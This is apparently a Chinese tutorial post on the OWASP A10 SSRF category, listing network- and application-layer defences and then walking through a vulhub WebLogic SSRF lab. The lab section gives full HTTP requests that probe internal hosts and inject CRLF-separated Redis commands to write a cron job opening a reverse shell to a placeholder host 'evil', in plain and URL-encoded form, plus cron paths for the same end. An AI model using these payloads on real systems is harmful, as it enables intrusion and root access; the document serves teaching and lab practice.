2021 Owasp Top 10 逐个击破之A10:服务端请求伪造 (SSRF)
因素
描述
如何预防
From Network layer(从网路层着手)
将远端资源存取功能切割成不同子网路以降低伪造服务端请求之冲击 于防火墙政策或于网路存取控制规则实施"预设全拒绝(deny by default)" ,以封锁全部来自外部之网路流量
rom Application layer:(从应用层)
过滤并验证来自于用户端提供之全部输入 以正面表列方式列出 URL、port、目的地清单 不传送原始回应给用户端 停用 HTTP 重新导向 留意网址之一致性,以避免例如 DNS rebinding 攻击、TOCTOU 攻击
Example Attack Scenarios (攻击情境范例)
实际案例-vulhub
Weblogic SSRF漏洞
测试环境搭建
docker-compose up -d
http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。SSRF漏洞测试
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80:GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1Host: localhostAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: close(向右滑动、查看更多)
did not have a valid SOAP content-type。could not connect over HTTP to server。注入HTTP头,利用Redis反弹shell
%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。172.18.0.2:6379可以连通:/etc/crontab:set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"config set dir /etc/config set dbfilename crontabsave(向右滑动、查看更多)
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave(向右滑动、查看更多)
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1Host: localhostAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: close(向右滑动、查看更多)
/etc/crontab 这个是肯定的。 /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。 /var/spool/cron/root centos系统下root用户的cron文件。 /var/spool/cron/crontabs/root debian系统下root用户的cron文件。
精彩推荐